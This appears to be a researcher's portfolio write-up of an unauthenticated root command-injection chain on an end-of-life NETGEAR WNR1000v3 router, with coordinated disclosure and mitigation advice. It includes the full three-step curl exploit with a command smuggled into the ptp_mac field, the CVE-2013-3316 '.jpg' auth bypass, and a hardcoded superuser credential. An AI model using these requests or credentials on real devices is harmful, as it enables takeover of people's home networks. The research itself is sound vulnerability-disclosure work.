Portfolio

Hit Enter, Get Root: Unauthenticated RCE Chain on the NETGEAR WNR1000v3

TL;DR

A $25 thrift-store NETGEAR WNR1000v3 (firmware V1.0.2.18, the final EOL release). Three unauthenticated HTTP requests. Arbitrary command execution as root. CVSS 3.1: 9.4 Critical.

The chain: a 12-year-old auth bypass (CVE-2013-3316) leaks a valid session ID. The wds.cgi handler stores a MAC parameter without validation into NVRAM. The router status page passes that NVRAM value unsanitized into system() — as root.


Prolog: 25 Euros, a Cardboard Box, a Flashbang

It started unspectacularly: a used WNR1000v3 from a private sale, about 25 euros, built 2010. Perfect research targets — old enough that nobody looks, new enough that they run a Linux userspace stack with a web UI.

What we didn’t know: the most interesting thing happens before any cable goes into the network.

TODO: Hardwarefoto hier einsetzen. Originalfoto folgt.
TODO: Hardwarefoto hier einsetzen.

Act I — UART, or: Why You Keep a Soldering Iron Ready

The debug header J3 is documented on the OpenWrt wiki: pin 6 GND, pin 5 TX, pin 2 RX, 3.3V TTL, 115200 8N1. FTDI adapter on, screen up, power on. And then … this:

First UART capture: seven bytes of line noise.
First UART capture: seven bytes of line noise.
Terminal output as text
$ od -c uart-first-boot.log
0000000  377 337 377 357 377 377 377
0000007

Seven bytes. That’s the classic signature of „signal present, but something’s wrong“: power, baudrate, or ground. The multimeter run reveals it — a solder bridge between RX and GND, right on the PCB trace next to the header. And because these things never come alone: minutes later the whole board dies, power LED off. The fuse on the 3.3V rail had eaten the short.

Fuse replaced, bridge removed, power on. Now the bus talks:

CFE boot sequence and flash partition map. Device MAC redacted.
CFE boot sequence and flash partition map. Device MAC redacted.
Terminal output as text
CFE for WNR1000v3 version: 3.0.6
Build Date: Thu Jan 21 22:38:48 CST 2010
Boot partition size = 131072(0x20000)
Found a 4MB ST compatible serial flash
CPU ProcId is: 0x00019749, options: 0x000021cd
Linux version 2.4.20 (zacker@svn) (gcc version 3.2.3 with Broadcom modifications)
        #1 Tue Apr 20 15:30:33 CST 2010
CPU: BCM5356 rev 1 at 333 MHz

And a few seconds later, the surprise that defines this firmware era:

UART shell after boot.
UART shell after boot.
Terminal output as text
BUSYBOX v0.60.0 (2010.04.20-07:29+0000) Built-in shell (msh)
Enter 'help' for a list of built-in commands.

root@WNR1000v3:/#
UART privilege and kernel version output.
UART privilege and kernel version output.

No login, no protection — the serial port is the root access. From here, the device is an open field: full flash dump partition by partition over TFTP, rootfs extracted from Broadcom’s proprietary shsq/LZMA SquashFS variant, NVRAM with 910 variables read.

Two side finds worth mentioning: the NVRAM held the previous owner’s entire access configuration in plaintext — DSL credentials, Wi-Fi password, everything (redacted here on purpose; the factory reset does clear it properly, we measured). And: a hardcoded hidden superuser (Gearguy/Geardog) that survives even an NVRAM wipe.

NVRAM after factory reset. Device WPS PIN redacted.
NVRAM after factory reset. Device WPS PIN redacted.

Act II — Understanding the Web UI

The httpd is a 1.1 MB Broadcom SDK binary, MIPS little-endian, with 451 exported symbol names — a researcher’s dream. Ghidra decompiled 718 functions; a hand-written annotator resolves the typical Broadcom pointer arithmetic and makes the decompiles readable. The result: 96 CGI endpoints, a template engine with numeric placeholders, and a very idiosyncratic session mechanism.

Three observations that pave the way:

1. CGI POSTs need a session ID. Every form is served with action="endpoint.cgi?id=N". Without it: 401/404. With it: the handler runs.

2. Auth check: there’s a known skip. CVE-2013-3316 describes this exact product line (firmware < 1.0.2.60): the server skips authentication for URLs containing ‚.jpg‘. Our firmware is 1.0.2.18:

HTTP response comparison from the supplied lab capture.
HTTP response comparison from the supplied lab capture.
Terminal output as text
$ curl -s -o /dev/null -w "%{http_code}\n" http://192.168.1.1/WLG_wds.htm
401
$ curl -s -o /dev/null -w "%{http_code}\n" "http://192.168.1.1/WLG_wds.htm?x=.jpg"
200

A twelve-year-old vulnerability, live and in color. And the served page contains not just the WDS configuration, but also:

Form action shown in the supplied lab capture.
Form action shown in the supplied lab capture.
Terminal output as text
$ curl -s "http://192.168.1.1/WLG_wds.htm?x=.jpg" | grep -oE 'action="[^"]*"'
action="wds.cgi?id=660933050"

A valid session ID, free of charge.

3. NVRAM as a relay. Multiple handlers write form values unvalidated into NVRAM, and other code paths later read these values and push them into shell commands. That’s the pattern that gives us the root run.

Act III — wds.cgi, One Parameter, One system()

Two sibling functions live in the binary, and both build shell commands from an NVRAM value:

/* wds_get_rssi — 0x4729f0 */
sprintf(cmd, "rm -f %s; wl rssi %s > %s", "/tmp/wds_signal", mac);
system(cmd);

/* wds_get_linkrate — 0x472bb0 */
sprintf(cmd, "rm -f %s; wl sta_info %s > %s", "/tmp/wds_rate", mac);
system(cmd);

The mac value comes from wla_wds_ptp_mac in NVRAM. Who writes that? The wds.cgi handler. Validation for the parameter ptp_mac: a check whether the value starts with ":::::". That’s all. isValidMacAddr exists in the bundled libacos_shared.so — it’s just never called here.

The Chain, Request by Request

Step 1 — Bypass, leak session ID (unauthenticated):

$ curl -s "http://192.168.1.1/WLG_wds.htm?x=.jpg" | grep -oE 'wds.cgi\?id=[0-9]+'
wds.cgi?id=660933050

Step 2 — Inject payload (unauthenticated, using the leaked ID):

$ curl -s -o /dev/null -w "%{http_code}" -X POST \
    "http://192.168.1.1/wds.cgi?id=660933050&x=.jpg" \
    --data-urlencode "wds_enable=1" \
    --data-urlencode "wds_mode=1" \
    --data-urlencode "ptp_mac=AA:BB:CC:DD:EE:FF;echo UNAUTH-RCE>/tmp/pwned3;" \
    --data-urlencode "sysLANIPAddr1=192" --data-urlencode "sysLANIPAddr2=168" \
    --data-urlencode "sysLANIPAddr3=1"   --data-urlencode "sysLANIPAddr4=1" \
    --data-urlencode "apply=Apply"
200

Step 3 — Trigger (unauthenticated, single GET):

Result recorded in the supplied lab transcript.
Result recorded in the supplied lab transcript.
Terminal output as text
$ curl -s -o /dev/null -w "%{http_code}" "http://192.168.1.1/RST_status.htm?x=.jpg"
200

# ... and on the device (UART console, uid 0):
# ls -la /tmp/pwned3
-rw-r--r--    1 0        0              11 Jan  1 00:03 /tmp/pwned3
# cat /tmp/pwned3
UNAUTH-RCE

No exploit magic, no memory corruption. A missing validator, a shell sink, a twelve-year-old door opener — and a vendor who in 2010 thought checksums would be enough.

Additional Findings

  • Unauth WPS-Registrar via UPnP (TCP/1780): WFAWLANConfig:1 service fully exposed — GetDeviceInfo returns the WPS M1, SetSelectedRegistrar accepted, RebootAP/ResetAP unauthenticated (not executed).
  • Unauth AddPortMapping via UPnP (TCP/5000): WAN port mapping without login (reproduced and reverted).
  • LAN IP corruption via malformed wds.cgi POST: bridge address changes to an attacker-influenced value, httpd terminates (availability).
  • Update channel integrity: plain checksum only, update server DNS-resolvable (admin-settable).
  • Hardcoded superuser: Gearguy/Geardog survives factory reset.
  • Board-derived WPS PIN: identical after NVRAM wipe.

Why This Matters Despite EOL

The Broadcom SDK stack of this generation runs in dozens of variants across vendors and model lines. Patterns that fit here — unvalidated NVRAM round-trips, shell sinks in status rendering, auth checks with special cases — are not one-offs, they’re a design era. And the second-hand market keeps devices like this in circulation.

Disclosure

NETGEAR PSIRT was notified on 2026-09-20 with the full technical report (DE+EN advisory, PoC script, chain transcript). Publication of this writeup follows the coordination window or mutual agreement. CVE-2026-XXXXX requested for the wds.cgi command injection; the .jpg auth bypass is CVE-2013-3316 (known, used as access primitive).

Mitigation

EOL device — replace with supported hardware. Interim: change the default password, disable UPnP, never enable WDS, keep remote management off.


Tools: FTDI FT232 · multimeter · soldering iron · Ghidra 11.3.2 · mipsel-binutils · Sasquatch · curl · Python raw sockets · Kalam (for the doodles)

Thanks: OpenWrt community (J3 pinout) · Sasquatch & Ghidra · everyone who ever thought a checksum would be enough.

Enjoy <3

Nach oben scrollen